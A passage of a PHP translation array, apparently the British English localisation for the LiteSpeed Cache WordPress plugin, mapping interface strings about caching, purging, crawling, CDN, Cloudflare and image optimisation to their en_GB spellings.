attributes.','Responsive image placeholders can help to reduce layout reshuffle when images are loaded.'=>'Responsive image placeholders can help to reduce layout reshuffle when images are loaded.','Responsive Placeholder'=>'Responsive Placeholder','This will delete all generated image LQIP placeholder files'=>'This will delete all generated image LQIP placeholder files','Please enable LiteSpeed Cache in the plugin settings.'=>'Please enable LiteSpeed Cache in the plugin settings.','Please enable the LSCache Module at the server level, or ask your hosting provider.'=>'Please enable the LSCache Module at the server level, or ask your hosting provider.','Failed to request via WordPress'=>'Failed to request via WordPress','High-performance page caching and site optimization from LiteSpeed'=>'High-performance page caching and site optimisation from LiteSpeed','Reset the optimized data successfully.'=>'Reset the optimised data successfully.','Update %s now'=>'Update %s now','View %1$s version %2$s details'=>'View %1$s version %2$s details','<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.'=>'<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.','Install %s'=>'Install %s','LSCache caching functions on this page are currently unavailable!'=>'LSCache caching functions on this page are currently unavailable!','%1$s plugin version %2$s required for this action.'=>'%1$s plugin version %2$s required for this action.','We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.'=>'We are working hard to improve your online service experience. The service will be unavailable while we work. We apologise for any inconvenience.','Automatically remove the original image backups after fetching optimized images.'=>'Automatically remove the original image backups after fetching optimised images.','Remove Original Backups'=>'Remove Original Backups','Automatically request optimization via cron job.'=>'Automatically request optimisation via cron job.','A backup of each image is saved before it is optimized.'=>'A backup of each image is saved before it is optimised.','Switched images successfully.'=>'Switched images successfully.','This can improve quality but may result in larger images than lossy compression will.'=>'This can improve quality but may result in larger images than lossy compression will.','Optimize images using lossless compression.'=>'Optimise images using lossless compression.','Optimize Losslessly'=>'Optimise Losslessly','Optimize images and save backups of the originals in the same folder.'=>'Optimise images and save backups of the originals in the same folder.','Optimize Original Images'=>'Optimise Original Images','When this option is turned %s, it will also load Google Fonts asynchronously.'=>'When this option is turned %s, it will also load Google Fonts asynchronously.','Cleaned all Critical CSS files.'=>'Cleaned all Critical CSS files.','This will inline the asynchronous CSS library to avoid render blocking.'=>'This will inline the asynchronous CSS library to avoid render blocking.','Inline CSS Async Lib'=>'Inline CSS Async Lib','Run Queue Manually'=>'Run Queue Manually','Last requested cost'=>'Last requested cost','Last generated'=>'Last generated','If set to %s this is done in the foreground, which may slow down page load.'=>'If set to %s this is done in the foreground, which may slow down page load.','Optimize CSS delivery.'=>'Optimise CSS delivery.','This will delete all generated critical CSS files'=>'This will delete all generated critical CSS files','Critical CSS'=>'Critical CSS','This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.'=>'This site utilises caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.','Disabling this may cause WordPress tasks triggered by AJAX to stop working.'=>'Disabling this may cause WordPress tasks triggered by Ajax to stop working.','right now'=>'right now','just now'=>'just now','Saved'=>'Saved','Last ran'=>'Last ran','You will be unable to Revert Optimization once the backups are deleted!'=>'You will be unable to Revert Optimisation once the backups are deleted!','This is irreversible.'=>'This is irreversible.','Remove Original Image Backups'=>'Remove Original Image Backups','Are you sure you want to remove all image backups?'=>'Are you sure you want to remove all image backups?','Total'=>'Total','Files'=>'Files','Last calculated'=>'Last calculated','Calculate Original Image Storage'=>'Calculate Original Image Storage','Storage Optimization'=>'Storage Optimisation','Use the format %1$s or %2$s (element is optional).'=>'Use the format %1$s or %2$s (element is optional).','Only attributes listed here will be replaced.'=>'Only attributes listed here will be replaced.','Only files within these directories will be pointed to the CDN.'=>'Only files within these directories will be pointed to the CDN.','Included Directories'=>'Included Directories','A Purge All will be executed when WordPress runs these hooks.'=>'A Purge All will be executed when WordPress runs these hooks.','Purge All Hooks'=>'Purge All Hooks','Purged all caches successfully.'=>'Purged all caches successfully.','LSCache'=>'LSCache','Forced cacheable'=>'Forced cacheable','Paths containing these strings will be cached regardless of no-cacheable settings.'=>'Paths containing these strings will be cached regardless of no-cacheable settings.','Force Cache URIs'=>'Force Cache URIs','Exclude Settings'=>'Exclude Settings','This will disable LSCache and all optimization features for debug purpose.'=>'This will disable LSCache and all optimisation features for debug purpose.','Disable All Features'=>'Disable All Features','Opcode Cache'=>'Opcode Cache','CSS/JS Cache'=>'CSS/JS Cache','Remove all previous unfinished image optimization requests.'=>'Remove all previous unfinished image optimisation requests.','Clean Up Unfinished Data'=>'Clean Up Unfinished Data','Join Us on Slack'=>'Join Us on Slack','Join the %s community.'=>'Join the %s community.','Want to connect with other LiteSpeed users?'=>'Want to connect with other LiteSpeed users?','Your Email address on %s.'=>'Your Email address on %s.','Use %s API functionality.'=>'Use %s API functionality.','To randomize CDN hostname, define multiple hostnames for the same resources.'=>'To randomise CDN hostname, define multiple hostnames for the same resources.','Join LiteSpeed Slack community'=>'Join LiteSpeed Slack community','Visit LSCWP support forum'=>'Visit LSCWP support forum','Images notified to pull'=>'Images notified to pull','What is a group?'=>'What is a group?','%s image'=>'%s image','%s group'=>'%s group','%s images'=>'%s images','%s groups'=>'%s groups','Guest'=>'Guest','To crawl the site as a logged-in user, enter the user ids to be simulated.'=>'To crawl the site as a logged-in user, enter the user ids to be simulated.','Role Simulation'=>'Role Simulation','running'=>'running','Size'=>'Size','Ended reason'=>'Ended reason','Last interval'=>'Last interval','Current crawler started at'=>'Current crawler started at','Run time for previous crawler'=>'Run time for previous crawler','%d seconds'=>'%d seconds','Last complete run time for all crawlers'=>'Last complete run time for all crawlers','Current sitemap crawl started at'=>'Current sitemap crawl started at','Save transients in database when %1$s is %2$s.'=>'Save transients in database when %1$s is %2$s.','Store Transients'=>'Store Transients','If %1$s is %2$s, then %3$s must be populated!'=>'If %1$s is %2$s, then %3$s must be populated!','NOTE'=>'NOTE','Server variable(s) %s available to override this setting.'=>'Server variable(s) %s available to override this setting.','API'=>'API','Imported setting file %s successfully.'=>'Imported setting file %s successfully.','Import failed due to file error.'=>'Import failed due to file error.','How to Fix Problems Caused by CSS/JS Optimization.'=>'How to Fix Problems Caused by CSS/JS Optimisation.','This will generate extra requests to the server, which will increase server load.'=>'This will generate extra requests to the server, which will increase server load.','Instant Click'=>'Instant Click','Reset the entire opcode cache'=>'Reset the entire opcode cache','This will import settings from a file and override all current LiteSpeed Cache settings.'=>'This will import settings from a file and override all current LiteSpeed Cache settings.','Last imported'=>'Last imported','Import'=>'Import','Import Settings'=>'Import Settings','This will export all current LiteSpeed Cache settings and save them as a file.'=>'This will export all current LiteSpeed Cache settings and save them as a file.','Last exported'=>'Last exported','Export'=>'Export','Export Settings'=>'Export Settings','Import / Export'=>'Import / Export','Use keep-alive connections to speed up cache operations.'=>'Use keep-alive connections to speed up cache operations.','Database to be used'=>'Database to be used','Redis Database ID'=>'Redis Database ID','Specify the password used when connecting.'=>'Specify the password used when connecting.','Password'=>'Password','Only available when %s is installed.'=>'Only available when %s is installed.','Username'=>'Username','Your %s Hostname or IP address.'=>'Your %s Hostname or IP address.','Method'=>'Method','Purge all object caches successfully.'=>'Purge all object caches successfully.','Object cache is not enabled.'=>'Object cache is not enabled.','Improve wp-admin speed through caching. (May encounter expired data)'=>'Improve wp-admin speed through caching. (May encounter expired data)','Persistent Connection'=>'Persistent Connection','Do Not Cache Groups'=>'Do Not Cache Groups','Groups cached at the network level.'=>'Groups cached at the network level.','Global Groups'=>'Global Groups','Connection Test'=>'Connection Test','%s Extension'=>'%s Extension','Status'=>'Status','Default TTL for cached objects.'=>'Default TTL for cached objects.','Default Object Lifetime'=>'Default Object Lifetime','Port'=>'Port','Host'=>'Host','Object Cache'=>'Object Cache','Failed'=>'Failed','Passed'=>'Passed','Not Available'=>'Not Available','Purge all the object caches'=>'Purge all the object caches','Failed to communicate with Cloudflare'=>'Failed to communicate with Cloudflare','Communicated with Cloudflare successfully.'=>'Communicated with Cloudflare successfully.','No available Cloudflare zone'=>'No available Cloudflare zone','Notified Cloudflare to purge all successfully.'=>'Notified Cloudflare to purge all successfully.','Cloudflare API is set to off.'=>'Cloudflare API is set to off.','Notified Cloudflare to set development mode to %s successfully.'=>'Notified Cloudflare to set development mode to %s successfully.','Once saved, it will be matched with the current list and completed automatically.'=>'Once saved, it will be matched with the current list and completed automatically.','You can just type part of the domain.'=>'You can just type part of the domain.','Domain'=>'Domain','Cloudflare API'=>'Cloudflare API','Purge Everything'=>'Purge Everything','Cloudflare Cache'=>'Cloudflare Cache','Development Mode will be turned off automatically after three hours.'=>'Development Mode will be turned off automatically after three hours.','Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.'=>'Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.','Development mode will be automatically turned off in %s.'=>'Development mode will be automatically turned off in %s.','Current status is %s.'=>'Current status is %s.','Current status is %1$s since %2$s.'=>'Current status is %1$s since %2$s.','Check Status'=>'Check Status','Turn OFF'=>'Turn OFF','Turn ON'=>'Turn ON','Development Mode'=>'Development Mode','Cloudflare Zone'=>'Cloudflare Zone','Cloudflare Domain'=>'Cloudflare Domain','Cloudflare'=>'Cloudflare','For example'=>'For example','Prefetching DNS can reduce latency for visitors.'=>'Prefetching DNS can reduce latency for visitors.','DNS Prefetch'=>'DNS Prefetch','Adding Style to Your Lazy-Loaded Images'=>'Adding Style to Your Lazy-Loaded Images','Default value'=>'Default value','Static file type links to be replaced by CDN links.'=>'Static file type links to be replaced by CDN links.','Drop Query String'=>'Drop Query String','Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.'=>'Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.','Improve HTTP/HTTPS Compatibility'=>'Improve HTTP/HTTPS Compatibility','Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.'=>'Remove all previous image optimisation requests/results, revert completed optimisations, and delete all optimisation files.','Destroy All Optimization Data'=>'Destroy All Optimisation Data','Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.'=>'Scan for any new unoptimised image thumbnail sizes and resend necessary image optimisation requests.','This will increase the size of optimized files.'=>'This will increase the size of optimised files.','Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.'=>'Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimising.','Clear Logs'=>'Clear Logs','To test the cart, visit the <a %s>FAQ</a>.'=>'To test the basket, visit the <a %s>FAQ</a>.',' %s ago'=>' %s ago','WebP saved %s'=>'WebP saved %s','If you run into any issues, please refer to the report number in your support message.'=>'If you run into any issues, please refer to the report number in your support message.','Last pull initiated by cron at %s.'=>'Last pull initiated by cron at %s.','Images will be pulled automatically if the cron job is running.'=>'Images will be pulled automatically if the cron job is running.','Only press the button if the pull cron job is disabled.'=>'Only press the button if the pull cron job is disabled.','Pull Images'=>'Pull Images','This process is automatic.'=>'This process is automatic.','Last Request'=>'Last Request','Images Pulled'=>'Images Pulled','Report'=>'Report','Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.'=>'Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.','Send to LiteSpeed'=>'Send to LiteSpeed','LiteSpeed Optimization'=>'LiteSpeed Optimisation','Load Google Fonts Asynchronously'=>'Load Google Fonts Asynchronously','Browser Cache TTL'=>'Browser Cache TTL','Learn More'=>'Learn More','Images optimized and pulled'=>'Images optimised and pulled','Images requested'=>'Images requested','Switched to optimized file successfully.'=>'Switched to optimised file successfully.','Restored original file successfully.'=>'Restored original file successfully.','Enabled WebP file successfully.'=>'Enabled WebP file successfully.','Disabled WebP file successfully.'=>'Disabled WebP file successfully.','Significantly improve load time by replacing images with their optimized %s versions.'=>'Significantly improve load time by replacing images with their optimised %s versions.','Selected roles will be excluded from cache.'=>'Selected roles will be excluded from cache.','Tuning'=>'Tuning','Selected roles will be excluded from all optimizations.'=>'Selected roles will be excluded from all optimisations.','Role Excludes'=>'Role Excludes','Tuning Settings'=>'Tuning Settings','If the tag slug is not found, the tag will be removed from the list on save.'=>'If the tag slug is not found, the tag will be removed from the list on save.','If the category name is not found, the category will be removed from the list on save.'=>'If the category name is not found, the category will be removed from the list on save.','After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.'=>'After the QUIC.cloud Image Optimisation server finishes optimisation, it will notify your site to pull the optimised images.','Send Optimization Request'=>'Send Optimisation Request','Image Information'=>'Image Information','Total Reduction'=>'Total Reduction','Optimization Summary'=>'Optimisation Summary','LiteSpeed Cache Image Optimization'=>'LiteSpeed Cache Image Optimisation','Image Optimization'=>'Image Optimisation','For example, %s can be used for a transparent placeholder.'=>'For example, %s can be used for a transparent placeholder.','By default a gray image placeholder %s will be used.'=>'By default a grey image placeholder %s will be used.','This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.'=>'This can be predefined in %2$s as well using constant %1$s, with this setting taking priority.','Specify a base64 image to be used as a simple placeholder while images finish loading.'=>'Specify a base64 image to be used as a simple placeholder while images finish loading.','Elements with attribute %s in html code will be excluded.'=>'Elements with attribute %s in HTML code will be excluded.','Filter %s is supported.'=>'Filter %s is supported.','Listed images will not be lazy loaded.'=>'Listed images will not be lazy loaded.','Lazy Load Image Excludes'=>'Lazy Load Image Excludes','No optimization'=>'No optimisation','Prevent any optimization of listed pages.'=>'Prevent any optimisation of listed pages.','URI Excludes'=>'URI Excludes','Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.'=>'Stop loading WordPress.org emoji. Browser default emoji will be displayed instead.','Both full URLs and partial strings can be used.'=>'Both full URLs and partial strings can be used.','Load iframes only when they enter the viewport.'=>'Load iframes only when they enter the viewport.','Lazy Load Iframes'=>'Lazy Load Iframes','This can improve page loading time by reducing initial HTTP requests.'=>'This can improve page loading time by reducing initial HTTP requests.','Load images only when they enter the viewport.'=>'Load images only when they enter the viewport.','Lazy Load Images'=>'Lazy Load Images','Media Settings'=>'Media Settings','Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.'=>'Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s.','To match the beginning, add %s to the beginning of the item.'=>'To match the beginning, add %s to the beginning of the item.','Maybe later'=>'Maybe later','I\'ve already left a review'=>'I\'ve already left a review','Welcome to LiteSpeed'=>'Welcome to LiteSpeed','Remove WordPress Emoji'=>'Remove WordPress Emoji','More settings'=>'More settings','Private cache'=>'Private cache','Non cacheable'=>'Non cacheable','Mark this page as '=>'Mark this page as ','Purge this page'=>'Purge this page','Load JS Deferred'=>'Load JS Deferred','Specify critical CSS rules for above-the-fold content when enabling %s.'=>'Specify critical CSS rules for above-the-fold content when enabling %s.','Critical CSS Rules'=>'Critical CSS Rules','Load CSS Asynchronously'=>'Load CSS Asynchronously','Prevent Google Fonts from loading on all pages.'=>'Prevent Google Fonts from loading on all pages.','Remove Google Fonts'=>'Remove Google Fonts','This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.'=>'This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed.','Remove query strings from internal static resources.'=>'Remove query strings from internal static resources.','Remove Query Strings'=>'Remove Query Strings','user agents'=>'user agents','cookies'=>'cookies','Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.'=>'Browser caching stores static files locally in the user\'s browser. Turn on this setting to reduce repeated requests for static files.','Browser Cache'=>'Browser Cache','tags'=>'tags','Do Not Cache Tags'=>'Do Not Cache Tags','To exclude %1$s, insert %2$s.'=>'To exclude %1$s, insert %2$s.','categories'=>'categories','To prevent %s from being cached, enter them here.'=>'To prevent %s from being cached, enter them here.','Do Not Cache Categories'=>'Do Not Cache Categories','Query strings containing these parameters will not be cached.'=>'Query strings containing these parameters will not be cached.','Do Not Cache Query Strings'=>'Do Not Cache Query Strings','Paths containing these strings will not be cached.'=>'Paths containing these strings will not be cached.','Do Not Cache URIs'=>'Do Not Cache URIs','One per line.'=>'One per line.','URI Paths containing these strings will NOT be cached as public.'=>'URI Paths containing these strings will NOT be cached as public.','Private Cached URIs'=>'Private Cached URIs','Paths containing these strings will not be served from the CDN.'=>'Paths containing these strings will not be served from the CDN.','Exclude Path'=>'Exclude Path','Include File Types'=>'Include File Types','Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.'=>'Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.','Include JS'=>'Include JS','Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.'=>'Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.','Include CSS'=>'Include CSS','Include Images'=>'Include Images','CDN URL to be used. For example, %s'=>'CDN URL to be used. For example, %s','CDN URL'=>'CDN URL','Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.'=>'Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.','Original URLs'=>'Original URLs','CDN Settings'=>'CDN Settings','CDN'=>'CDN','OFF'=>'OFF','ON'=>'ON','Notified LiteSpeed Web Server to purge CSS/JS entries.'=>'Notified LiteSpeed Web Server to purge CSS/JS entries.','Minify HTML content.'=>'Minify HTML content.','HTML Minify'=>'HTML Minify','JS Excludes'=>'JS Excludes','JS Combine'=>'JS Combine','JS Minify'=>'JS Minify','CSS Excludes'=>'CSS Excludes','CSS Combine'=>'CSS Combine','CSS Minify'=>'CSS Minify','Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.'=>'Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.','This will purge all minified/combined CSS/JS entries only'=>'This will purge all minified/combined CSS/JS entries only','Purge %s Error'=>'Purge %s Error','Database Optimizer'=>'Database Optimiser','Optimize all tables in your database'=>'Optimise all tables in your database','Optimize Tables'=>'Optimise Tables','Clean all transient options'=>'Clean all transient options','All Transients'=>'All Transients','Clean expired transient options'=>'Clean expired transient options','Expired Transients'=>'Expired Transients','Clean all trackbacks and pingbacks'=>'Clean all trackbacks and pingbacks','Trackbacks/Pingbacks'=>'Trackbacks/Pingbacks','Clean all trashed comments'=>'Clean all binned comments','Trashed Comments'=>'Binned comments','Clean all spam comments'=>'Clean all spam comments','Spam Comments'=>'Spam Comments','Clean all trashed posts and pages'=>'Clean all binned posts and pages','Trashed Posts'=>'Binned Posts','Clean all auto saved drafts'=>'Clean all auto saved drafts','Auto Drafts'=>'Auto Drafts','Clean all post revisions'=>'Clean all post revisions','Post Revisions'=>'Post Revisions','Clean All'=>'Clean All','Optimized all tables.'=>'Optimised all tables.','Clean all transients successfully.'=>'Clean all transients successfully.','Clean expired transients successfully.'=>'Clean expired transients successfully.','Clean trackbacks and pingbacks successfully.'=>'Clean trackbacks and pingbacks successfully.','Clean trashed comments successfully.'=>'Clean binned comments successfully.','Clean spam comments successfully.'=>'Clean spam comments successfully.','Clean trashed posts and pages successfully.'=>'Clean binned posts and pages successfully.','Clean auto drafts successfully.'=>'Clean auto drafts successfully.','Clean post revisions successfully.'=>'Clean post revisions successfully.','Clean all successfully.'=>'Clean all successfully.','Default Private Cache TTL'=>'Default Private Cache TTL','If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.'=>'If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.','Vary Group'=>'Vary Group','Cache the built-in Comment Form ESI block.'=>'Cache the built-in Comment Form ESI block.','Cache Comment Form'=>'Cache Comment Form','Cache Admin Bar'=>'Cache Admin Bar','Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.'=>'Turn ON to cache public pages for logged in users, and serve the Admin Bar and Comment Form via ESI blocks. These two blocks will be uncached unless enabled below.','ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.'=>'ESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.','With ESI (Edge Side Includes), pages may be served from cache for logged-in users.'=>'With ESI (Edge Side Includes), pages may be served from cache for logged-in users.','Private'=>'Private','Public'=>'Public','Purge Settings'=>'Purge Settings','Cache Mobile'=>'Cache Mobile','Advanced level will log more details.'=>'Advanced level will log more details.','Basic'=>'Basic','The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.'=>'The maximum average server load allowed while crawling. The number of crawler threads in use will be actively reduced until average server load falls under this limit. If this cannot be achieved with a single thread, the current crawler run will be terminated.','Cache Login Page'=>'Cache Login Page','Cache requests made by WordPress REST API calls.'=>'Cache requests made by WordPress REST API calls.','Cache REST API'=>'Cache REST API','Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)'=>'Privately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)','Cache Commenters'=>'Cache Commenters','Privately cache frontend pages for logged-in users. (LSWS %s required)'=>'Privately cache frontend pages for logged-in users. (LSWS %s required)','Cache Logged-in Users'=>'Cache Logged-in Users','Cache Control Settings'=>'Cache Control Settings','ESI'=>'ESI','Excludes'=>'Excludes','Purge'=>'Purge','Cache'=>'Cache','Current server time is %s.'=>'Current server time is %s.','Specify the time to purge the "%s" list.'=>'Specify the time to purge the "%s" list.','Both %1$s and %2$s are acceptable.'=>'Both %1$s and %2$s are acceptable.','Scheduled Purge Time'=>'Scheduled Purge Time','The URLs here (one per line) will be purged automatically at the time set in the option "%s".'=>'The URLs here (one per line) will be purged automatically at the time set in the option "%s".','Scheduled Purge URLs'=>'Scheduled Purge URLs','Shorten query strings in the debug log to improve readability.'=>'Shorten query strings in the debug log to improve readability.','Heartbeat'=>'Heartbeat','MB'=>'MB','Log File Size Limit'=>'Log File Size Limit','<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s'=>'<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s','%s file not writable.'=>'%s file not writable.','%s file not readable.'=>'%s file not readable.','Collapse Query Strings'=>'Collapse Query Strings','ESI Settings'=>'ESI Settings','A TTL of 0 indicates do not cache.'=>'A TTL of 0 indicates do not cache.','Recommended value: 28800 seconds (8 hours).'=>'Recommended value: 28800 seconds (8 hours).','Enable ESI'=>'Enable ESI','Custom Sitemap'=>'Custom Sitemap','Purge pages by relative or full URL.'=>'Purge pages by relative or full URL.','The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.'=>'The crawler feature is not enabled on the LiteSpeed server. Please consult your server admin or hosting provider.','WARNING'=>'WARNING','The next complete sitemap crawl will start at'=>'The next complete sitemap crawl will start at','Failed to write to %s.'=>'Failed to write to %s.','Folder is not writable: %s.'=>'Folder is not writable: %s.','Can not create folder: %1$s. Error: %2$s'=>'Can not create folder: %1$s. Error: %2$s','Folder does not exist: %s'=>'Folder does not exist: %s','Notified LiteSpeed Web Server to purge the list.'=>'Notified LiteSpeed Web Server to purge the list.','Allows listed IPs (one per line) to perform certain actions from their browsers.'=>'Allows listed IPs (one per line) to perform certain actions from their browsers.','Server Load Limit'=>'Server Load Limit','Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.'=>'Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.','Crawl Interval'=>'Crawl Interval','Then another WordPress is installed (NOT MULTISITE) at %s'=>'Then another WordPress is installed (NOT MULTISITE) at %s','LiteSpeed Cache Network Cache Settings'=>'LiteSpeed Cache Network Cache Settings','Select below for "Purge by" options.'=>'Select below for "Purge by" options.','LiteSpeed Cache CDN'=>'LiteSpeed Cache CDN','No crawler meta file generated yet'=>'No crawler meta file generated yet','Show crawler status'=>'Show crawler status','Watch Crawler Status'=>'Watch Crawler Status','Run frequency is set by the Interval Between Runs setting.'=>'Run frequency is set by the Interval Between Runs setting.','Manually run'=>'Manually run','Reset position'=>'Reset position','Run Frequency'=>'Run Frequency','Cron Name'=>'Cron Name','Crawler Cron'=>'Crawler Cron','%d minute'=>'%d minute','%d minutes'=>'%d minutes','%d hour'=>'%d hour','%d hours'=>'%d hours','Generated at %s'=>'Generated at %s','LiteSpeed Cache Crawler'=>'LiteSpeed Cache Crawler','Crawler'=>'Crawler','https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration'=>'https://www.litespeedtech.com/products/cache-plugins/wordpress-acceleration','Notified LiteSpeed Web Server to purge all pages.'=>'Notified LiteSpeed Web Server to purge all pages.','All pages with Recent Posts Widget'=>'All pages with Recent Posts Widget','Pages'=>'Pages','This will Purge Pages only'=>'This will Purge Pages only','Purge Pages'=>'Purge Pages','Cancel'=>'Cancel','Activate'=>'Activate','Email Address'=>'Email Address','Install Now'=>'Install Now','Purged the blog!'=>'Purged the blog!','Purged All!'=>'Purged All!','Notified LiteSpeed Web Server to purge error pages.'=>'Notified LiteSpeed Web Server to purge error pages.','If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.'=>'If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.','If the login cookie was recently changed in the settings, please log out and back in.'=>'If the login cookie was recently changed in the settings, please log out and back in.','However, there is no way of knowing all the possible customizations that were implemented.'=>'However, there is no way of knowing all the possible customisations that were implemented.','The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.'=>'The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.','The network admin setting can be overridden here.'=>'The network admin setting can be overridden here.','Specify how long, in seconds, public pages are cached.'=>'Specify how long, in seconds, public pages are cached.','Specify how long, in seconds, private pages are cached.'=>'Specify how long, in seconds, private pages are cached.','Purge pages by post ID.'=>'Purge pages by post ID.','Purge the LiteSpeed cache entries created by this plugin'=>'Purge the LiteSpeed cache entries created by this plugin','This will Purge Front Page only'=>'This will Purge Front Page only','Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.'=>'Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.','Purge pages by category name - e.g. %2$s should be used for the URL %1$s.'=>'Purge pages by category name - e.g. %2$s should be used for the URL %1$s.','If only the WordPress site should be purged, use Purge All.'=>'If only the WordPress site should be purged, use Purge All.','Notified LiteSpeed Web Server to purge everything.'=>'Notified LiteSpeed Web Server to purge everything.','Use Primary Site Configuration'=>'Use Primary Site Configuration','This will disable the settings page on all subsites.'=>'This will disable the settings page on all subsites.','Check this option to use the primary site\'s configuration for all subsites.'=>'Check this option to use the primary site\'s configuration for all subsites.','Save Changes'=>'Save Changes','The following options are selected, but are not editable in this settings page.'=>'The following options are selected, but are not editable in this settings page.','The network admin selected use primary site configs for all subsites.'=>'The network admin selected use primary site configs for all subsites.','Empty Entire Cache'=>'Empty Entire Cache','This action should only be used if things are cached incorrectly.'=>'This action should only be used if things are cached incorrectly.','This may cause heavy load on the server.'=>'This may cause heavy load on the server.','This will clear EVERYTHING inside the cache.'=>'This will clear EVERYTHING inside the cache.','LiteSpeed Cache Purge All'=>'LiteSpeed Cache Purge All','If you would rather not move at litespeed, you can deactivate this plugin.'=>'If you would rather not move at litespeed, you can deactivate this plugin.','Create a post, make sure the front page is accurate.'=>'Create a post, make sure the front page is accurate.','Visit the site while logged out.'=>'Visit the site while logged out.','Examples of test cases include:'=>'Examples of test cases include:','For that reason, please test the site to make sure everything still functions properly.'=>'For that reason, please test the site to make sure everything still functions properly.','This message indicates that the plugin was installed by the server admin.'=>'This message indicates that the plugin was installed by the server admin.','LiteSpeed Cache plugin is installed!'=>'LiteSpeed Cache plugin is installed!','Debug Log'=>'Debug Log','Admin IP Only'=>'Admin IP Only','Specify how long, in seconds, REST calls are cached.'=>'Specify how long, in seconds, REST calls are cached.','The environment report contains detailed information about the WordPress configuration.'=>'The environment report contains detailed information about the WordPress configuration.','The server will determine if the user is logged in based on the existence of this cookie.'=>'The server will determine if the user is logged in based on the existence of this cookie.','Note'=>'Note','After verifying that the cache works in general, please test the cart.'=>'After verifying that the cache works in general, please test the basket.','When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.'=>'When enabled, the cache will automatically purge when any plugin, theme or the WordPress core is upgraded.','Purge All On Upgrade'=>'Purge All On Upgrade','Product Update Interval'=>'Product Update Interval','Determines how changes in product quantity and product stock status affect product pages and their associated category pages.'=>'Determines how changes in product quantity and product stock status affect product pages and their associated category pages.','Always purge both product and categories on changes to the quantity or stock status.'=>'Always purge both product and categories on changes to the quantity or stock status.','Do not purge categories on changes to the quantity or stock status.'=>'Do not purge categories on changes to the quantity or stock status.','Purge product only when the stock status changes.'=>'Purge product only when the stock status changes.','Purge product and categories only when the stock status changes.'=>'Purge product and categories only when the stock status changes.','Purge categories only when stock status changes.'=>'Purge categories only when stock status changes.','Purge product on changes to the quantity or stock status.'=>'Purge product on changes to the quantity or stock status.','Htaccess did not match configuration option.'=>'.htaccess did not match configuration option.','If this is set to a number less than 30, feeds will not be cached.'=>'If this is set to a number less than 30, feeds will not be cached.','Specify how long, in seconds, feeds are cached.'=>'Specify how long, in seconds, feeds are cached.','Default Feed TTL'=>'Default Feed TTL','Failed to get %s file contents.'=>'Failed to get %s file contents.','Disabling this option may negatively affect performance.'=>'Disabling this option may negatively 